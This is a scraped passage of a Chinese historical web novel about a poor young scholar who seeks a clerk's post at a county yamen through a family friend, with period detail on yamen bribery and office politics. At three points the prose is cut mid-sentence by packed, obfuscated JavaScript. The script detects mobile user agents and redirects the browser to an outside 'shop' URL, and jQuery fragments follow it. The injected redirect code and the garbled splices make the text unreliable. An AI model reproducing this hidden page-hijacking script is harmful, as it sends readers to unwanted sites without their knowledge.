《登高:权谋》 1. 上门 “这些年您和伯娘没少帮衬,侄儿感激不尽,只因热孝在身不便登门,如今既……” 正说着,一个穿家常棉裙的妇人抬脚进来,身后跟着个托茶盘的小丫头,行走间的气流带动桌上烛火,墙上的影子便也跟着剧烈摇曳。 “我叫丫头新煮了茶,你们爷儿俩快趁热吃一碗,去去外头的寒气。” 张氏笑着抚去肩头雪片,又命丫头关门阻住寒风,烛火重新稳定下来。 晏同光立刻停住话头,起身作揖,“劳烦伯娘。” “你这孩子,忒多礼,一家人莫说两家话,快坐。”张氏摆摆手,过去问了他几句家常,“你娘还好?可还吃药?我正想什么时候去找她说说话儿,又怕扰了她清净。” “托福,已然大好了。”晏同光顺势坐回去,端起茶盏来略湿了湿嘴皮子又放下,笑道,“前儿还说要来找伯娘说话儿,不巧变天,下了点薄雪,略有些咳嗽,倒不必吃药……” 他生的斯文俊秀,眼眸黑且深,声音清且亮,是长辈们最爱的模子,张氏见了也欢喜,边同他说话,边拉过一旁的笸箩来做针线。 上首的赵老三慢吞吞磕了磕烟袋锅子,几根被熏得焦黄的手指重新捻些新烟丝塞进去,朝着桌上半旧的钱袋子努努嘴儿,“你伯娘说得对,一家人莫说两家话,银子先拿回去使,快过年了,花费也多……” 话虽如此,可钱袋子分明就在他手边,到底没往回推。 晏同光似是没瞧见,“伯伯、伯娘体恤,侄儿自然知道,不过如今家里着实缓过来,确实周转得开。这不,才出孝,娘就嘱咐我道谢来了。” 当初人家愿意借钱解困,本就是情分,哪有拖着不还的道理呢? “你娘还是这么客气。”张氏倒不大在意这些,拉着晏同光叫他看花样子,“这五蝠捧寿的花样子还是早几年你给我描的,现下有几处墨迹淡了,你瞧瞧,可绣错了没有?” 晏同光自小于绘画一道颇有天分,周围邻居、亲友们也爱使唤小孩儿画点儿花样子、门签子什么的。 许是打小练出来,后来晏父去世,晏母亦缠绵病榻,几乎倾家荡产,多靠晏同光四处辗转卖画为生,偶尔还帮城外寺庙里将壁画描新,娘儿俩好歹没饿死。 晏同光便与张氏细细端详,“回头我再画几张新的送来,各样吉祥纹样都有,正好节下用。” “那敢情好!”张氏心生欢喜,欠身举着给赵老三看,“年下给娘绣这么一双棉鞋,又应景又喜庆,穿出去也够体面了。” 赵老三果然眯眼看一回,唔了声,举着烟袋锅子往蜡烛上点燃,吸了口,灿金混杂着猩红的火线便活了似的四处游走。 他这才点点头,伸手越过桌上晏同光带来的四色点心,将钱袋抓起来,“嗯?” 分量不对。 多了。 晏同光似有些赧然,白净面皮也渐渐涨红,“许久不登门,论理儿,实在不该开口……” 赵老三便不言语了,吧嗒吧嗒抽了几口,整张脸都被氤氲的烟气笼罩了。 过年的事儿最麻烦,不说明白求什么,这话他不好接。 倒是张氏白他一眼,立刻转脸向晏同光嗔怪:“嗨,自家骨肉这样见外。只管说就是。” 亲兄弟还明算账呢,客气话听听就算,万不可当真。 晏同光才要起身作揖,却被赵老三拦下,“听你伯娘的,坐着说。” 他虽有个长辈名头,终究不是同宗同族一家子,晏同光乃是正经考出来的秀才,见县太爷都不必下跪,若真受了这一拜,就变味儿了。 “伯伯、伯娘都是爽快人,侄儿也不拐弯抹角,家里的情形,外头都知道,虽还了外债,到底没个正经进项。之前为父守孝,自不好做什么……而今我也大了,该寻一个正经营生做……”讲到这里,晏同光又端起茶碗来,也不喝,只垂着眼,抓在手里摩挲,“只到底年轻,没见过世面,不晓得外头厉害,一时乱头无绪,没个抓处。想着十里八乡的,唯伯伯是个仗义豪爽热心人,便厚着脸皮来求告,能不能帮侄儿在衙门里寻个差事,不求大富大贵,能有个进项赡养老母就知足了。” 赵老三和张氏对视一眼,沉吟半晌才道:“你才17岁,又早早中了秀才,既然都好了,可见是有造化的,更该用心苦读才是,怎么又想这些!” 晏同光素有早慧之名,14岁就中了秀才,恰逢晏父亦谋得典吏之职,当真一门双喜,容光焕发。 孰料天公不作美,晏父突发急症,临终前举荐赵老三接班,也是为家人留后路。 照规矩,若积年的老吏员病故,衙门理应对他的家眷多加照顾,可优先招其后代进衙门当差。 所以于情于理,赵老三都不该推这个顺水人情。 不过赵老三此刻犹豫却是有别的考量。 衙门里三教九流无所不包,也很有可以捞油水的法子,那等差事对寻常人而言,自然算美差。 可凡读圣贤书的,哪个不想为官做宰?更像云彩落到泥潭里,玷污了。 早年晏父也曾读书,后来发现自己实在不是那块料,这才找路子进衙门当差的。 若他泉下有知,见儿子中了秀才又要走父辈的老路,怕要气得从地下爬出来。 “伯伯教训的是。”晏同光认真听训,语气平静,却很坚定,“读书一事说来容易,做来却难。都说十年寒窗苦,可放眼那些真考上的,何止十年?日常笔墨纸砚、拜师进学、人情往来等等花费更不用说,几十两银子丢出去都不见个响儿,哪里是寻常人家供应得起的?我若不正经营生,难不成还指望老母亲养活,若真那般,实在不算个人了,日后即便侥幸得中,也不配为官。” “况且就算进了衙门,侄儿还是可以继续读书、科举,不耽搁什么。”晏同光笑了笑。 赵老三和张氏听了,都有些动容。 是个有良心的孝顺孩子,可惜了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14571656|155679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这世上有万千病症,各有对症神医,唯独一个“穷病”治不了。 谋差事确实可以继续科举,甚至可以直接以吏员的身份考取为官资格,但终究出身不同。 且不说“以吏晋官”者寥寥无几,即便能成,在官场上也始终低人一头,前程艰难。 想到这里,张氏忍不住劝说:“哥儿,那衙门里虽也有几个秀才,可谁不是考了多少次不得中,实在没出路才去的?他们多大,你多大,何苦跟他们比?就这么着,还叫人瞧不起呢。 一旦进了衙门,凡事可就由不得自己了,哪里还能专心读书……” 下层小人物之间的勾心斗角未必比正经官场轻松多少。 “你家里还有几亩地,又不必交税……”说着,张氏又要把钱袋子塞回去,“听伯娘一句劝,你再好生读几年书,若有造化,中了举人,以后还愁甚么!若实在没造化,再让你伯伯走动不迟。” 这些话实在算肺腑之言,晏同光不是不触动,但机会是不等人的,当断则断。 今年本地县令任期已满,新任县太爷九月便来接任,年前必要交割完毕。 眼下正值新旧县令相替之际,各处忙得焦头烂额,抓大放小,两位大人中前任懒怠管,新任顾不上,衙门内外人员浮动甚大,多一个少一个,并不惹眼。 况且伯伯还在任上,是最容易办成的,若一时迟疑错过这一遭,恐再难进。 再者,早前他家里确实有地,但眼下卖得也只剩几亩,哪怕风调雨顺无虫无灾,亩产也不过百八十斤,够做什么呢? “不必交税”只是节流,若想过日子,总得想法子开源。 吏,自古以来鲜有好名声,“贪官污吏”“恶霸酷吏”“狗仗人势”,不过如此。 年轻秀才做低级吏员,蝇营狗苟确实不体面,但对穷狠了的人而言,体面一文不值。 总要先想法子活下去。 见劝不动,赵老三夫妇便不再说什么。 “衙门里的卷宗文书都在,并不费事,你爹就你一个儿子,我往上头说一声就是了。”赵老三吧嗒着旱烟袋,把欠款划拉出来,剩下的都推回去,“用不着银子。” 世人都想省钱,可偏偏有些钱省不得。 晏同光不接,“还要委托荐书,且各处少不得打点,哪里少得了花用?这些还未必够呢,伯伯莫要哄我。” 事说完了,不好再逗留,他又起身道谢,笑,“天色不早,我且家去了。” 张氏苦留不住,忙叫丫头拎了一条草绳穿着的肥鱼来与他,“旁人送的,我们不会料理,且拿了家去熬汤。” 这就是扯谎了,分明见他还特意买了四色点心过来,临时找个由头贴补。 晏同光抿抿嘴,再三谢过,果然拎上鱼走了。 这样的好意若是拒绝,只会让双方都尴尬。 张氏和赵老三亲送到门口,看着他瘦削的身影渐渐被雪幕掩去,方才转身回屋。 2. 面子 却说晏同光从赵家离开后,径直往前去了,又转过一道弯,突然在路中间站下,不说话,也不动弹,目视前方怔怔出神,任凭雪花飘落。 他的心跳得厉害,脸也有些热。 雪片不知什么时候变得又急又密,地上、房顶,入目一片洁白,落脚咯吱作响,往来行人无不步履匆匆。 偶尔有人胡乱瞥一眼道上木偶似的夯货,十分不解。 脑子坏了不成?却在这里挨冻! “呼……” 良久,晏同光才魂魄归体般缓缓眨了眨眼,又深又长地吐了口气。 他的心跳已然重归平缓,像终于迈过某道看不见的门槛,又像卸下某个沉重的包袱。 总算是,走出了这一步。 原来张嘴求人也没有想象中难。 原来许多千难万难的事只要豁得出舍得下,剩下的就都简单了,比如面子,比如读书人的身段。 他为自己顺了顺气息,这才发现掌心和背心都湿漉漉的,风一吹,冷得厉害。 是方才在赵家流的汗,许是急的,许是抹不开面儿羞臊的…… 但现在都不重要了。 晏同光自顾自笑起来,那些乱七八糟的想法都随着笑声一并散去。 他拽起衣襟抖动落雪,一垂头,雪片纷纷自眉峰、眼睫坠落,像自顾自又下了一场。 因伫立太久,肩头有些湿了,谈不上体面,也不介意更不体面些,他索性直接把手在身上抹了抹,然后脚步轻快地进了街边的豆腐铺子,花一个大钱买了块老豆腐。 豆腐,都福,挺好。 才走两步,狂风骤起,半空中的雪片和地上的雪沫子混在一处,劈头盖脸砸过来,直往衣服缝儿里钻。 晏同光眯着眼缩缩脖子,空出一只通红的手抓紧衣领,嘶溜着白汽一通小跑,冻得梆硬的大鱼和老豆腐也跟着晃了一路。 一推门,晏母便拎着鸡毛掸子迎出来,看着儿子煞白的脸十分心疼,“雪这样大,路不好走吧?” 晏同光微微弯腰,方便母亲掸雪,闻言笑道:“才刚下,地上都是干的,倒不滑。只怕过两日日头出来晒一晒,再入夜上冻就难走了。” 旧棉衣不保暖,一路上没存住半点热乎气,此刻一张嘴,他两排牙齿就咔嚓嚓打颤。 晏母连忙把他按在灶边,将里头的灰烬拨开,露出暗红色的柴火残骸来。 上头的火苗抖了抖,很快颤巍巍长高, 氤氲的热气扑面而来,微烫。 红彤彤的光晕映在晏同光脸上,他摊开双手搓了搓,仿佛能看见寒意迅速褪去,惬意地吐了口气。 “呦,大冷天的,哪里来的大鱼?”掸完雪,晏母才注意到他脚边物事。 “伯娘给的,我洗了手就去炖上。”晏同光说。 听到“伯娘”二字,晏母张了张嘴,眼眶微红,似是想起许多伤心事,半晌一声轻叹,“终究是家里耽误了你。” 这叹息声极轻,一出口,便北风似地迅速消散了。 晏同光弯腰添柴的动作一顿,无奈笑道:“娘,您又说这话。” 他把柴火丢到灶里,活动下十指,觉得差不多了便麻利地洗手剖鱼、刮鳞,“再说,我去衙门另有打算……” 守孝三年不便远去,晏同光便在家中将以前父亲从衙门中带回来供他抄录的许多朝廷邸报、省报、本地县志副本,乃至历届举人、进士们的文章、诗词等翻来覆去看了无数遍,直至倒背如流。 在那些无人知道的日子里,晏同光明白了许多事。 不怕说句招人恨的话,在他看来,考中秀才并不难,只要家里略有点闲钱供养读书,读书的再略有点小聪明、肯用功,几年熬下来,或高或低,总能混个功名。 可举人不同。 举人可以直接做官,朝廷要的是擅治理的人才,所以考题中多国策和处事之法,单靠硬背四书五经的小聪明远远不够。 考题中有名句,但你绝不可只答名句。 要做官,就要看透典籍背后蕴藏的朝廷动向、天子心事。 见识、胆魄,为人处世的经历和手段,对朝廷历年策略、各地动向的把控,乃至朝廷上下各路官员和派系的了解……缺一不可。 可这些都不是寻常贫寒之家能够接触到的。 至少现在晏家不行。 但有个地方可以:县衙。 官员迎来送往、打点交际之法,朝廷策略、动向,各地风土人文,历届优秀学子的文章答卷,无所不包。 更别提打从开国起就逐年增加的地方书库! 所以当时晏同光就决定,一定要去县衙。 如此一来,非但解了求学路上的燃眉之急,又能丰盈钱囊,进可攻退可守,甚好。 按照律例,吏员也可在攒够资历后考取为官资格,倒不失为另一条为官的路子…… 说句丧气的话,倘或日后他真的屡试不中,好歹还有一份生计在,日子总不至于太难过。 听着儿子的打算,晏母又是欣慰又是欢喜又是歉疚,一颗心都像在水里泡软了。 “罢了,你是有主意的,娘就不罗嗦了。” 晏同光笑笑,便也不再讲。 出了孝,家里也该大大方方见见荤腥,不然实在熬不住。 他狠心往锅里挖了一大勺猪油,烧热了,从沙土盒子里挖出葱姜和蒜头爆香,小心地将大鱼放进去,两面俱都煎得金灿灿的。 他没着急翻动,等鱼皮泛了点焦才将老豆腐切大块,挨着鱼身子摆一圈,也煎成金色的豆腐块,再添水慢慢炖。 这样的鱼皮劲道且香,嚼起来并不比大块的肉逊色。煎豆腐内部略呈蜂窝状,特别吸汁,尤其适合冬日下雪吃。 热乎乎的连汤带肉来一碗,五脏六腑都被熨开,暖洋洋的,别提多美了。 过约么三两刻钟,娘儿俩又热了几个野菜杂粮窝窝,肥鱼炖豆腐也得了。 原本晏同光还想往父亲牌位前供一碗,晏母给拦下了,“你做时他便吃了,不年不节的,何苦折腾,你只管紧着吃你的,省得凉了腥气。” 男人在世时,和孩子一般要紧,如今都死了三年,自然要紧着孩子来。 晏同光很有点啼笑皆非,又不好违拗母亲好意,摸摸鼻子,“哎。” 爹,那我可就先吃了啊。 没有外人,不必额外摆桌,母子二人便围着热锅热灶吃了一回。 野菜杂粮窝窝用的是早春晒干的野菜和陈粮,无甚黏性,咬一口便掉落许多碎渣,正好泡在鱼肉煎豆腐汤里,俱都吃得唇齿生香、额头见汗,十分满足。 张氏给的鱼甚大,一顿自然吃不完,晏母便将剩下的大半条都小心挪到大盆里,盖好后吊到柴房的房顶,很快就能冻透,也不怕什么动物偷吃了。 次日家里来了位光头的客人。 晏母忙请进来,又倒滚滚的茶,“师父今日怎得下山来?” 来人是城外庆云寺的大和尚,当初晏父去世,一概丧仪都是在庆云寺操办的,一来二去的,也就认识了。 因那里的师父们都和气,对他们孤儿寡母多有帮衬,晏同光很是感念,有一回发现寺里几处壁画剥落,便偷偷用笔补好,未曾对外声张。 后来大和尚洒扫时发现,惊喜非常,大赞有灵气有悟性,便时常请他为寺里修补。 只是庆云寺并不大,香火也不旺,给不了几个钱,往往以粗布、粮食,甚至是香客们供奉的瓜果、糕饼点心相抵。 晏同光也不在意。 反正就算给了银子,他转头也要去买这些东西,这样便很好。 大和尚冻得够呛,行合掌礼,用随身带的钵盂接了热水喝,方才说明来意。 原来是前几日有位老爷带着老爹老娘返乡,不曾想路上老爹得了风寒,快到本县时骤然加重,已然是走不动了,便进城医治,大夫说不好。 那老爷无法, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14571657|155679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偶然听说庆云寺虽不大,却很干净虔诚,便想着若是真不好了,就在那里办丧仪。 “那些壁画、神像俱都旧了,不好等到腊月再做,方丈特意打发我来问问檀越,这几日可得空么?”大和尚道。 难得有笔大买卖,庆云寺上下都极热切,生怕耽搁。 衙门里的事想来得几天,闲着也是闲着。且庆云寺虽有些远,路却不难走,下雪也不怕,算算日子,晏同光当即应下。 晏母也恐儿子在家憋出病来,亲自准备厚厚的棉衣送行。 晏同光接过包袱一瞧,愣住了。旧棉衣磨损严重的几处布料都被拆掉,换成了略新一点的同色布片,分明是拆了母亲的衣裳做的,棉胎也极厚,极暖。 晏母目光躲闪,“我整日在家,又不见客,要那许多衣裳作甚……” 想着昨儿儿子回来时冻得那样儿,她就难受得睡不着,索性连夜改了,正好今日用上。 晏同光低着头,捏着包袱的指关节泛白,胸膛里像煮开了一锅热水一样翻滚着,烫得他喘不过气。 我一定会想法子撑起这个家。 一僧一俗骑上大青骡冒雪去了,次日便得知那过路老爷子驾鹤,老太太又疲累又悲痛,也病倒了,说不得要在庆云寺停上一月。 当儿子的忙命人采买寿材、白纸、麻布等物,打发心腹小厮来庆云寺查看,安置老娘。又订下厢房和一应丧仪,额外送了整整齐齐一包雪白刻细丝银锭子合计二十两,专为做法事和制备素茶果点心等物。 和尚们得了实惠,越加用心料理,又安排几个清俊机灵的小沙弥随行调遣。 后头家眷亲自来看,见厢房预备齐整,热水随叫随有,甚至许多壁画、装饰等物都是描新的,心下熨帖,那老夫人又赏了一个老银镯子,权当积福。 庆云寺的和尚们厚道,也不贪功,事后当着晏同光的面将那银镯子称了,竟有足四两。 上头还有几颗黄豆大小的珠子,奈何年深日久,有些磕碰泛黄,并不值钱,只得作罢。 大家将银镯子一铰两半,再次用秤秤了,将二两一钱略沉的一半与他。 晏同光着实谢过,狠狠松了口气。 有了这笔钱,就能过个好年啦。 回去就给娘扯匹新布,再买今年的新棉做袄子! 算算还剩许多,或许毛笔也能换一管,纸也能裁两刀。 甚好,甚好。 对了,再添几只鸡鸭,以后就能有新鲜蛋吃,不必从外头买了。 说起来,家中许久未曾大荤,不若借此机会给娘买个稀烂的热蹄膀,又过了瘾,又好克化…… 那老爷实在是个孝子,丧仪期间狠狠哭了几回,几欲昏厥,又叫连着念七日《往生经》,并做水陆法事,打点也大方,庆云寺上下都沾光。 期间晏同光功成身退,除熟悉的葫芦做的素鸭、面筋做的素鸡、豆沙填的素馒头、芝麻油揉起来的花卷等各色素点心,一纸包核桃、板栗等干果,并一袋子杂面之外,更多两匹青布。 “原是那檀越给的,此番突然请了秀才公你来,着实过意不去,若不嫌弃,且拿去裁几件衣裳穿吧。” 庆云寺不意发了一笔财,出手难免大方。 晏同光忙道:“这便很好,多谢多谢。” 这种细棉布一匹要足足180文,晏父去世前家中常用,如今也是看得见,够不着了。 稍作话别,他便匆匆离去。 大青骡这几日在庆云寺好吃好喝,正有些腿痒,一路上发力狂奔,并不歇息。 庆云山早年曾有矿产,几代官府先后拓宽加固过,虽是山路,却又宽又平,十分好走,晏同光也就任由牲口跑,一时只觉耳畔风声呼啸,两侧山峦树木飞快向后掠去,伴着浮动的雪沫雾气,竟隐隐生出腾云驾雾之感,一时忘了寒冷,大呼痛快。 进了城,晏同光先去买棉花,本想再买个蹄膀,不料人家不到晌午便已卖光,只得悻悻离去。 3. 经书 才进门,晏母便告诉晏同光,赵家传了话过来,说那事有眉目了。 晏同光就着才热好的菜叶子老南瓜粥胡乱填饱肚子,换过衣裳和打湿的鞋袜,急忙忙往赵家去。 跑到门口,他又扭头喊:“娘,外头冷,别出来了,您快给自己做件新袄子穿,我走啦!” “慢些跑,”晏母在身后喊,又瞧见他带回来的一大包棉花,忍不住摸了又摸,眼底泛起笑意,“这孩子,怎么买这许多棉花……” 几日不见,赵老三照样眯着眼,吧嗒着旱烟说,“我与那吏房典吏一并写个荐书,再从户房调了你的清白卷宗来,叫刑房的自己人验过,邻里作保,你再签字,一并递上去就完了。” 朝廷设六部,各地衙门亦有吏、户、礼、兵、刑、工六房,分设典吏统领,对应朝中六部尚书,直接对县令负责。凡人员增减,必过吏房。 另户房掌管户籍、财务、田亩、赋税等事务,刑房掌刑法、狱讼、人命、殴斗、凶杀等纠纷,是日常与百姓打交道最多,油水也最多最足的。 赵老三,便是刑房典吏。 这些流程晏同光早已烂熟,并无异议。 不等他道谢,赵老三又道:“呵呵,当初你爹在时,哪个不是称兄道弟,如今……罢了。” 几年下来,晏同光见识了人情冷暖,现在也看开了,心中竟没多少起伏,“人走茶凉,趋利避害,不过如此,倒是累得您难做。” “以后进了衙门你就知道了,这算什么?比这难做的且多着呢!”赵老三不以为意,重新转回正事,“刑房自不必说,户房么,调阅卷宗文书,分内事罢了,倒不必理会。只吏房那厮是块滚刀肉,只认银子不认人,少不得包十五两银子,剩下的你带回去,等将来给兄弟们买茶打酒吃,初来乍到的,多走动走动,吃不了亏……” 晏同光瞬间明白过来,“是经书?” 赵老三瞧了他一眼,难得有个笑模样,咧嘴露出焦黄的牙,“嘿嘿,你小子确实比你爹精。” 晏同光既惊且喜,“这如何使得?” 地方衙门的权力主干由“官”和“吏”两部分构成,以县衙为例,正经在册的朝廷官员只有四位:七品县令,八品县丞,九品主簿和从九品巡检。 接下来便是在册吏员:六房典吏,均由朝廷发俸。 但一座县城想要正常运作,光有这些牌面人物是不成的,真正办事的还是下头无数个不在册的小人物,比如六房典吏之下另有经书、小书和代书。 小书和代书乃衙门底层,日常只能做些脏活累活,多为临时雇佣,忙完一阵就散了。 可经书不同。 虽然严格说来,经书也不在册,但却是六房的中坚力量,县令也轻易撵不得。待现任典吏五年期满,下一任典吏也往往从经书中选出。 简单来说,成为典吏就有机会考取为官资格,而只有先成为经书,才有可能晋升典吏。 正因如此,若想做个小书、代书,可能熟人一句话就完了,但经书,非使银子不可。 天气渐冷,柴火价高,寻常人家白日是舍不得烧炕的,但赵老三身为刑房典吏,多有进账,并不在意这些,酉时不到,屋子里就暖烘烘的起来。 可此时此刻,晏同光觉得自己的心口比炕头还热。 经书啊……这个结果比自己想象得更好。 赵老三喝了口水,半是感慨半是唏嘘,“你争气,你爹也磊落,不然,怕是三十两银子也难!” 若非有晏父前任典吏的这点香火情,若非晏同光早早中了秀才,绝不能这么顺。 快过年了,谁甘心放过敛财的好机会呢! 阎王好见,小鬼难缠,吏,就是衙门里的小鬼。 人家随口客气是情分,自己若当真,便是蠢笨。为人处世,人情往来,都是平时一点一滴一字一句攒起来的。 晏同光定了定神,起身再谢,“侄儿年纪虽轻,可外头的事千难万难,这些道理还是明白的,要不是您从中说和,哪里就能成呢?” 帮人办事最怕辛辛苦苦办完了,对方来一句“啊,这么简单吗?”见晏同光上道,赵老三心下熨帖,觉得这几日奔波倒也值了。 其实这事儿说难不难,但说容易,还真不大容易。 之前赵老三提时,旁人倒罢了,唯独户房的人还想拿乔,借机为难勒索。他就说:“不看老的面子,且看小的罢。他十来岁上就中了秀才,人也灵光,原是家中一时遭难,周转不得才来寻个生计,保不齐哪天就又中了举,说走就走了,何苦为难? 即便不中,也碍不着你我甚么,权当结个善缘罢。” 众人一听,确实是这么个理儿,这才好了。 见晏同光年少老成,赵老三难免将正经话说与他听,“我风光不了几年了,终究日后成与不成,还得看你自己……” 朝廷有文,典吏任满五年为止,之后要么考取为官资格,更进一步,要么就到头了。 赵老三自问不是考试的料,家中晚辈又接续不上,不管晏同光以后走哪条路,若真能站稳脚跟,好歹是个助力…… 他只有两个女儿,次女今年才出阁,日子且长着呢,衙门里有自家人,孩子们也能轻快些。 这小小县城中,没有关系、人情,当真寸步难行。 “日头都没了,还不掌灯么?”张氏从外头进来,顺手点了蜡烛,“饭也得了,先吃了再说。” 晏同光顺势往窗外一瞧,果然黑压压一片,也跟着笑,“只怕快上更了,难得伯伯教我,一时听迷了……正好我也该家去了。” “哎,”张氏拉住他,“吃了饭再去,哪能空着肚子走呢。” “不了不了,我娘在家,该担心了。”晏同光连连推辞。 他也不小了,实在不好再在外头混饭吃。 “我便知道你这么说,”谁知张氏一听,反倒哈哈笑起来,很有点未卜先知的得意,“才刚已经叫人去跟你娘说了,就在家里吃。” “这……”晏同光还真想不出婉拒的话了。 八字有一撇,赵老三心里也舒坦,“听你伯娘的,大小伙子的,扭扭捏捏成什么样子。” 没奈何,晏同光只得重新入座。 因有客在,张氏特意多做了些,又多肉菜,十分用心:桌上摆了一个肥腻腻好烧鸡,一道筒子骨浓汤煮的泛油花豆腐丝,一碗喷香厚肉片烩白菜,一盘碧油油香油香醋拌的春日菜干子。 还有一碟自家晒的艮啾啾萝卜条小酱菜,旁边那筐杂面饽饽显然是今年的新粮做的,很香。 晏同光正处在能吃的年纪,不敢敞开了吃,只垫到四分饱便要放筷子。 张氏不依,瞪着眼虎着脸硬塞给他几个热饽饽,额外夹了一大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14571658|155679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碗菜,逼着他吃。 “这么大个儿,喂猫呢?留饭还不给吃饱,传出去叫街坊们戳我脊梁骨呐!吃,吃不完割下头来塞上!” 晏同光:“……” 那倒也不必。 等用完了饭,晏同光撑得肚皮发硬,嗓子眼儿发堵,都不敢低头了。 张氏心满意足,为自己尽到主人的招待本分而高兴。 天已黑透,白日街上化了的雪又冻起来,十分难走,赵老三让张氏去找个灯笼出来,自己又跟晏同光说:“夜长梦多,尽快把街坊四邻的保书送来,这个需得你自己去办。回头都交上去,就得看什么时候县太爷得空,等他老人家点了头、用了印,你这颗心才能落回肚子里。” 经书不算真正的吏,无需知会朝廷,过了地方官这一关即可。 晏同光郑重应下,听他话里有话,忍不住问道:“新老爷是个怎样的人呢?” 赵老三背着手沉吟片刻,看着灯笼来了才丢出一句,“自然是个精明人。” 精明啊,晏同光若有所思。 已是十一月,地方上本就千头万绪,更兼前后两任县令交割,衙门里就更忙乱了,许多不要紧的事情都被一拖再拖。 赵老三的荐书是十一月初三递上去的,直到十七日才有人过来传话,说县太爷叫他去二堂回话。 赵老三认出是县太爷的长随,不敢怠慢,陪笑道:“有劳有劳,敢问一句,可是大老爷有什么示下么?” 地方上常尊称县令为大老爷,县丞为二老爷。 那长随嘴巴却严,“我等怎好胡乱揣测老爷心思?快些去吧,别叫老爷等着。” 老爷等着……那就是没有别人,单叫自己了,赵老三立刻就联想到举荐一事,忙端起茶盏倒了,只留下里头的茶叶嚼烂吐掉,往嘴里哈了两口气,确定压住烟油味儿才匆匆出门,路过院中水缸又停下,对着水面整理仪表、抻平衣裳褶皱。 二堂位于县衙中部,有别于完全私人的内院三堂和对外开放的大堂,乃是历任县令日常办公、会客的所在,今日在这里见赵老三,意味着接下来要说些不大适合对外公开的公务。 赵老三进去时,就见一个四十岁上下的清瘦中年文士端坐在书桌后,手里还捧着本地卷宗,正是新任知县胡元宗。 墙角一个奇石怪鸟青铜香炉里正袅袅升起香雾,被斜射而入的日光隐隐照出紫色,无声流淌,分外绮丽。 胡元宗的视线从卷宗上抬了下,“坐吧。” “不敢,不敢。”赵老三忙收回视线,哪里敢坐。 胡元宗也不勉强,继续看着卷宗道:“听说你新举荐了一个经书?是个什么人?” 其实有关晏同光的身家背景,一早就递上来了,胡元宗不可能一无所知,这么问必然有别的意思。 但现在他不明说,赵老三也不好胡乱猜测,便老实答道:“是,他十三四岁就中了秀才,很是聪慧,可惜恰逢丧父,只好在家一边照顾老母一边苦读,都给耽搁了,今年也才十七岁。是地地道道的本地人,自小在街面上长大,街坊四邻都夸赞的。且他父亲在世时也做到典吏……” 一直看书的胡元宗忽然来了句,“临终前举荐了你,所以你又来举荐他的儿子,怎么,拿衙门的体面全你们的人情?好一个借花献佛。” 轻飘飘一句话,直说得赵老三冷汗直流。 4. 机会 多年街面上摸爬滚打的本能让赵老三的身体快于脑子,“砰”一声就跪下了。 一瞬间,赵老三脑子里炸开了花,各种念头乱哄哄闹成一片。 大人若果然不同意,索性不理会就完了,何必面谈? 可若同意,又为何说这些? 等等,荐书上分明有两个典吏签名,为何只唤我一人?是那狗日的收了银子反悔,还是背地里又说了什么混账话? 否认? 不,我与晏家父子的交情不是秘密,赖是赖不掉的,贸然改口反叫人觉得我是那等出尔反尔、忘恩负义的小人! 思及此处,赵老三咬牙道:“大人明察秋毫,卑职不敢狡辩,为报恩,确为其一,其二,衙门里实在缺得力人手,卑职见那小子家里孤儿寡母的,又是个人才,能写会算,家里也有渊源,岂不比外头胡乱找的更得用?这才递了荐书。到底成与不成,全凭大人示下。” 赵老三说完,胡元宗没说好,也没说不好,屋子里安静得吓人。 “五年小书,七年经书,”胡元宗嗤笑一声,“哦,还有两年兵房典吏……真是地方上的老人了。” 赵老三口干舌燥,死埋着头,不敢吱声。 因有三班衙役和巡检所辖厢军在,兵房相对清闲,油水也不多,当年晏父临终举荐,赵老三便是先做了兵房典吏,两年之后才想法子谋到如今的刑房典吏。 朝廷有文,典吏五年任满,不许再做。 但有漏洞:上报时需具体到某房。 换言之,只要你换个名字、换个职位,民不告、官不究,便可瞒天过海五年重来。 此种手段在地方上屡见不鲜,赵老三便是钻的这个空子。 不过后来朝廷也渐渐知晓,重新发文,言明无论哪房,合计五年为效,也不许胡乱改名。 不知过了多久,胡元宗忽发问:“去岁大望村和上河村两个庄头抢水斗殴,当时拿了哪些人,是怎么判的?” 这事儿赵老三有印象,因为前前后后收了不少好处,当即不假思索道:“回大人的话,因是双方群殴,还见了血,卑职不敢怠慢,亲自带人去审问,双方的供词都在。依照大禄律法,群殴后动手的一方轻判,又因持械致伤,卑职便依律将带头闹事者鞭笞八十,从者五十,另一方从轻,带头者鞭三十,从者十。” 当时一片混乱,也没个凭据,究竟谁先动的手,谁主谁从……自然银子说了算。 打鞭子亦颇有讲究,若行刑之人下死手,四十鞭能直接把人打烂打死了;而事先打点的,八十鞭子也只皮外伤。 “今年年初,东街巷子有人报家中进贼,怎么结的案?” “回大人,当时巡街的衙役……” 胡元宗一连问了好几处,其中不乏几年前的旧事,赵老三虽不说次次对答如流,大面上却无甚纰漏。 